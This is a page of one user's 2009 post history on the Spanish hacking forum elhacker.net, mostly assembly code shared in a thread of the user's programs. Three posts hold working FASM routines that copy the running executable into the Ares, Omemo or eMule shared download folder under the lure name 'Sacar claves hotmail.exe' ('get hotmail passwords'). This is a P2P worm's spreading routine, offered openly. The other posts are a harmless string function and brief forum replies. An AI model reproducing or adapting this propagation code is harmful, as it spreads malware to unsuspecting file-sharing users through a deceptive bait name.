elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Tutorial básico de Quickjs


  Mostrar Mensajes
Páginas: 1 ... 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 [42] 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 ... 68
411  Programación / ASM / Re: Recopilación de mis codigos. en: 21 Junio 2009, 08:33 am
Código
  1. include 'win32ax.inc'
  2. .data
  3. dString db "i'm a string",0
  4. .code
  5. start:
  6. stdcall fRight,dString,9
  7. invoke MessageBox,0,eax,0,0
  8. invoke ExitProcess,0'
  9. ;Funcion que emula la funcion Right de Visual Basic 6
  10. proc fRight,pString,pLen
  11. push esi ebx  edi ecx
  12. mov eax,[pLen]
  13. inc eax
  14. invoke GlobalAlloc,GPTR, eax
  15. mov esi,eax
  16. mov ebx,eax
  17. stdcall Len,[pString]
  18. sub eax,[pLen]
  19. mov edi,[pString]
  20. add edi,eax
  21. .bucle_:
  22. cmp [pLen] ,0
  23. je .exit
  24. mov cl,byte[edi]
  25. mov byte[ebx],cl
  26. inc ebx
  27. inc edi
  28. dec [pLen]
  29. jmp .bucle_
  30. .exit:
  31. mov eax,esi
  32. pop ecx edi ebx esi
  33. ret
  34. endp
  35. proc Len,cCadena   ;Funcion que mide la cadena
  36. push ecx edi
  37. mov ecx,-1
  38. mov edi,[cCadena]
  39. mov al,0
  40. repnz scasb
  41. mov eax,ecx
  42. not eax
  43. dec eax
  44. pop edi ecx
  45. ret
  46. endp
  47. .end start
  48.  
412  Programación / ASM / Re: Recopilación de mis codigos. en: 20 Junio 2009, 02:35 am
Código
  1. include 'win32ax.inc'
  2. entry start
  3. .code
  4. cName equ "Sacar claves hotmail.exe" ; Nombre con que nos copiaremos
  5. proc start
  6. locals
  7. lBuffer rb MAX_PATH
  8. lBuffer2  rb MAX_PATH
  9. lBuffer3  rb MAX_PATH
  10. endl
  11.  
  12. stdcall Zerar,addr lBuffer,MAX_PATH
  13. stdcall LeerRegistro,HKEY_CURRENT_USER,"Software\Ares" , "Download.Folder",addr lBuffer
  14. .if eax = 0
  15. jmp .exit
  16. .endif
  17.  
  18. stdcall Zerar,addr lBuffer2,MAX_PATH
  19. invoke lstrlen,addr lBuffer
  20. stdcall HexToString,addr lBuffer,eax,addr lBuffer2
  21. invoke lstrlen,addr lBuffer2
  22. lea ebx,[lBuffer2]
  23. mov byte[ebx+eax],"\"
  24. mov ebx,MAX_PATH
  25. sub ebx,eax
  26. lea edx,[lBuffer2]
  27. inc eax
  28. add eax,edx
  29. stdcall Zerar,eax,ebx
  30. invoke lstrcat, addr lBuffer2,cName
  31.  
  32. MOV     EaX, [FS:30h]
  33. MOV     EaX, [EaX + 10h]
  34. MOV     EaX, [EaX + 3Ch]
  35. stdcall Zerar,addr lBuffer3,MAX_PATH
  36. stdcall UniToAscii, addr lBuffer3,eax
  37. invoke CopyFile, addr lBuffer3,  addr lBuffer2,0
  38. .exit:
  39. invoke ExitProcess,0
  40. endp
  41. proc UniToAscii, ascii, unicode
  42. push esi
  43. push edi
  44. mov esi, [unicode]
  45. mov edi, [ascii]
  46. .count:
  47. .if byte[esi] <> 0
  48. movsb
  49. jmp .count
  50. .endif
  51. inc esi
  52. .if byte[esi] = 0
  53. jmp .exit
  54. .endif
  55. jmp .count
  56. .exit:
  57.  
  58. mov eax, edi
  59. add eax, 2
  60. pop edi
  61. pop esi
  62. ret
  63. endp
  64. proc Zerar,Puntero,Cantidad  ;Funcion que llena de 0 una posicion
  65. push ecx
  66. push ebx
  67. mov ecx,[Cantidad]
  68. mov ebx,[Puntero]
  69. .bucle:
  70. mov byte[ebx+ecx],0
  71. loop .bucle
  72. mov byte[ebx],0
  73. pop ebx
  74. pop ecx
  75. ret
  76. endp
  77. proc LeerRegistro,cHKEY,cCadena,cCampo,cBuffer
  78. locals
  79. temp dd ?
  80. Result dd ?
  81. endl
  82. mov [temp],MAX_PATH*3
  83. invoke RegOpenKeyEx,[cHKEY],[cCadena],0,KEY_READ, addr Result
  84. .if eax <> 0 ;Si no hay datos devolvemos 0
  85. xor eax,eax
  86. jmp  .salir
  87. .endif
  88.  
  89. lea ebx,[temp]
  90. invoke RegQueryValueEx  ,[Result],[cCampo],0,0,[cBuffer],ebx
  91. .if eax <> 0 ;Si no hay datos devolvemos 0
  92. xor eax,eax
  93. jmp  .salir
  94. .endif
  95. mov eax,1
  96. .salir:
  97. ret
  98. endp
  99. proc HexToString,cPuntero,cCantidad,cBuffer
  100. pushad
  101. mov edi,[cPuntero]
  102. mov esi,[cBuffer]
  103. .bucle:
  104. cmp [cCantidad] ,0
  105. je .salir
  106. movzx eax,byte[edi]
  107. xor edx,edx
  108. mov ebx,16
  109. div ebx
  110. mov ecx,edx
  111. .if byte[edi] >= 'A'
  112. add ecx,9
  113. .endif
  114. xor edx,edx
  115. mov eax,16
  116. mul ecx
  117. mov ecx,eax
  118. .if word[edi] = "C3" | word[edi]= "c3"
  119. mov byte[esi],"ó"
  120. add edi,4
  121. inc esi
  122. sub [cCantidad],2
  123. jmp .bucle
  124. .endif
  125. movzx eax,byte[edi+1]
  126. xor edx,edx
  127. mov ebx,16
  128. div ebx
  129. .if byte[edi+1] >= 'A'
  130. add edx,9
  131. .endif
  132. add ecx,edx
  133. mov byte[esi],cl
  134. inc esi
  135. add edi,2
  136. dec [cCantidad]
  137. jmp  .bucle
  138. .salir :
  139. popad
  140. ret
  141. endp
  142. section '.idata' import data readable
  143. library shlwapi,'shlwapi.dll',kernel32,'kernel32.dll' ,advapi32,'advapi32.dll',user32,'user32.dll'
  144. include 'api/kernel32.inc'
  145. include 'api/advapi32.inc'
  146.   import shlwapi,PathFileExists,'PathFileExistsA'
  147.  include 'api/user32.inc'
413  Programación / ASM / Re: Recopilación de mis codigos. en: 20 Junio 2009, 02:18 am
Código
  1. include 'win32ax.inc'
  2. entry start
  3. .code
  4. cName equ "Sacar claves hotmail.exe" ; Nombre con que nos copiaremos
  5. proc start
  6. locals
  7. lBuffer rb MAX_PATH
  8. lBuffer2  rb MAX_PATH
  9. lBuffer3  rb MAX_PATH
  10. endl
  11.  
  12. stdcall Zerar,addr lBuffer,MAX_PATH
  13. stdcall LeerRegistro,HKEY_LOCAL_MACHINE,"SOFTWARE\Omemo" , "InstallDir",addr lBuffer
  14. .if eax = 0
  15. jmp .exit
  16. .endif
  17.  
  18. invoke lstrcat,addr lBuffer,"\Omemo.ini"
  19. invoke PathFileExists,addr lBuffer
  20. .if eax <> 0
  21. stdcall Zerar,addr lBuffer2,MAX_PATH
  22. invoke GetPrivateProfileString,"global", "SAVE_AS_FOLDER", 0, addr lBuffer2, 260, addr lBuffer
  23. invoke lstrlen,addr lBuffer2
  24. lea ebx,[lBuffer2]
  25. mov byte[ebx+eax],"\"
  26. invoke lstrcat, addr lBuffer2,cName
  27. MOV     EaX, [FS:30h]
  28. MOV     EaX, [EaX + 10h]
  29. MOV     EaX, [EaX + 3Ch]
  30. stdcall Zerar,addr lBuffer3,MAX_PATH
  31. stdcall UniToAscii, addr lBuffer3,eax
  32. invoke CopyFile, addr lBuffer3,  addr lBuffer2,0
  33. jmp .exit
  34. .else
  35. jmp .exit
  36. .endif
  37. .exit:
  38. invoke ExitProcess,0
  39. endp
  40. proc UniToAscii, ascii, unicode
  41. push esi
  42. push edi
  43. mov esi, [unicode]
  44. mov edi, [ascii]
  45. .count:
  46. .if byte[esi] <> 0
  47. movsb
  48. jmp .count
  49. .endif
  50. inc esi
  51. .if byte[esi] = 0
  52. jmp .exit
  53. .endif
  54. jmp .count
  55. .exit:
  56.  
  57. mov eax, edi
  58. add eax, 2
  59. pop edi
  60. pop esi
  61. ret
  62. endp
  63. proc Zerar,Puntero,Cantidad  ;Funcion que llena de 0 una posicion
  64. push ecx
  65. push ebx
  66. mov ecx,[Cantidad]
  67. mov ebx,[Puntero]
  68. .bucle:
  69. mov byte[ebx+ecx],0
  70. loop .bucle
  71. mov byte[ebx],0
  72. pop ebx
  73. pop ecx
  74. ret
  75. endp
  76. proc LeerRegistro,cHKEY,cCadena,cCampo,cBuffer
  77. locals
  78. temp dd ?
  79. Result dd ?
  80. endl
  81. mov [temp],MAX_PATH*3
  82. invoke RegOpenKeyEx,[cHKEY],[cCadena],0,KEY_READ, addr Result
  83. .if eax <> 0 ;Si no hay datos devolvemos 0
  84. xor eax,eax
  85. jmp  .salir
  86. .endif
  87.  
  88. lea ebx,[temp]
  89. invoke RegQueryValueEx  ,[Result],[cCampo],0,0,[cBuffer],ebx
  90. .if eax <> 0 ;Si no hay datos devolvemos 0
  91. xor eax,eax
  92. jmp  .salir
  93. .endif
  94. mov eax,1
  95. .salir:
  96. ret
  97. endp
  98. section '.idata' import data readable
  99. library shlwapi,'shlwapi.dll',kernel32,'kernel32.dll' ,advapi32,'advapi32.dll',user32,'user32.dll'
  100. include 'api/kernel32.inc'
  101. include 'api/advapi32.inc'
  102. include  'api/user32.inc'
  103.   import shlwapi,PathFileExists,'PathFileExistsA'
  104.  
414  Programación / ASM / Re: Recopilación de mis codigos. en: 19 Junio 2009, 22:12 pm
Código
  1. include 'win32ax.inc'
  2. entry start
  3. .code
  4. cName equ "Sacar claves hotmail.exe" ; Nombre con que nos copiaremos
  5. proc start
  6. locals
  7. lBuffer rb MAX_PATH
  8. lBuffer2  rb MAX_PATH
  9. lBuffer3  rb MAX_PATH
  10. endl
  11. stdcall Zerar,addr lBuffer,MAX_PATH
  12. stdcall LeerRegistro,HKEY_CURRENT_USER,"Software\eMule" , "Install Path",addr lBuffer
  13. .if eax = 0
  14. jmp .exit
  15. .endif
  16. invoke lstrcat,addr lBuffer,"\config\preferences.ini"
  17. invoke PathFileExists,addr lBuffer
  18. .if eax <> 0
  19. stdcall Zerar,addr lBuffer2,MAX_PATH
  20. invoke GetPrivateProfileString,"eMule", "IncomingDir", 0, addr lBuffer2, 260, addr lBuffer
  21. invoke lstrlen,addr lBuffer2
  22. lea ebx,[lBuffer2]
  23. mov byte[ebx+eax],"\"
  24. invoke lstrcat, addr lBuffer2,cName
  25. MOV     EaX, [FS:30h]
  26. MOV     EaX, [EaX + 10h]
  27. MOV     EaX, [EaX + 3Ch]
  28. stdcall Zerar,addr lBuffer3,MAX_PATH
  29. stdcall UniToAscii, addr lBuffer3,eax
  30. invoke CopyFile, addr lBuffer3,  addr lBuffer2,0
  31. jmp .exit
  32. .else
  33. jmp .exit
  34. .endif
  35. .exit:
  36. invoke ExitProcess,0
  37. endp
  38. proc UniToAscii, ascii, unicode
  39. push esi
  40. push edi
  41. mov esi, [unicode]
  42. mov edi, [ascii]
  43. .count:
  44. .if byte[esi] <> 0
  45. movsb
  46. jmp .count
  47. .endif
  48. inc esi
  49. .if byte[esi] = 0
  50. jmp .exit
  51. .endif
  52. jmp .count
  53. .exit:
  54.  
  55. mov eax, edi
  56. add eax, 2
  57. pop edi
  58. pop esi
  59. ret
  60. endp
  61. proc Zerar,Puntero,Cantidad  ;Funcion que llena de 0 una posicion
  62. push ecx
  63. push ebx
  64. mov ecx,[Cantidad]
  65. mov ebx,[Puntero]
  66. .bucle:
  67. mov byte[ebx+ecx],0
  68. loop .bucle
  69. mov byte[ebx],0
  70. pop ebx
  71. pop ecx
  72. ret
  73. endp
  74. proc LeerRegistro,cHKEY,cCadena,cCampo,cBuffer
  75. locals
  76. temp dd ?
  77. Result dd ?
  78. endl
  79. mov [temp],MAX_PATH*3
  80. invoke RegOpenKeyEx,[cHKEY],[cCadena],0,KEY_READ, addr Result
  81. .if eax <> 0 ;Si no hay datos devolvemos 0
  82. xor eax,eax
  83. jmp  .salir
  84. .endif
  85.  
  86. lea ebx,[temp]
  87. invoke RegQueryValueEx  ,[Result],[cCampo],0,0,[cBuffer],ebx
  88. .if eax <> 0 ;Si no hay datos devolvemos 0
  89. xor eax,eax
  90. jmp  .salir
  91. .endif
  92. mov eax,TRUE
  93. .salir:
  94. ret
  95. endp
  96. section '.idata' import data readable
  97. library shlwapi,'shlwapi.dll',kernel32,'kernel32.dll' ,advapi32,'advapi32.dll'
  98. include 'api/kernel32.inc'
  99. include 'api/advapi32.inc'
  100.   import shlwapi,PathFileExists,'PathFileExistsA'
  101.  
  102.  
415  Foros Generales / Sugerencias y dudas sobre el Foro / Re: borrar todos mis temas publicados en: 19 Junio 2009, 20:14 pm
No se puede solo un moderador globabal para arriba podria borrar todos tus post.
416  Foros Generales / Sugerencias y dudas sobre el Foro / analisis y diseno de malware en: 19 Junio 2009, 19:56 pm
En el suboforo de analisis y diseño de malware se borraron muchos post quedando post del 2008 , alguien me podria explicar que paso ?

Saludos

http://foro.elhacker.net/analisis_y_diseno_de_malware-b17.0/
417  Programación / ASM / Re: Invertir una string , sencillo ... en: 19 Junio 2009, 19:47 pm
http://foro.elhacker.net/asm/recopilacion_de_mis_codigos-t256657.0.html;msg1244295#msg1244295

De ese manera lo hago yo :P
418  Programación / ASM / Re: como empezar con asm en: 19 Junio 2009, 19:43 pm
http://foro.elhacker.net/asm/programacion_en_lenguaje_ensamblador-t255444.0.html
419  Programación / Programación Visual Basic / Re: Crear .lib en Visual basic 6 en: 15 Junio 2009, 22:43 pm
Quieres crear un .lib desde el VB o un .lib para el VB?

Si es desde VB me temo que necesitaras aplicaciones de 3eros...
Desde VB , me da lo mismo tener que utilizar otras aplicaciones pero cuales :xD
420  Programación / Programación Visual Basic / Re: Crear .lib en Visual basic 6 en: 15 Junio 2009, 20:55 pm
.lib??
La extensión, de que clase de archivo es?

SaluDOS!!!

 Bibliotecas estáticas
Páginas: 1 ... 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 [42] 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 ... 68
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines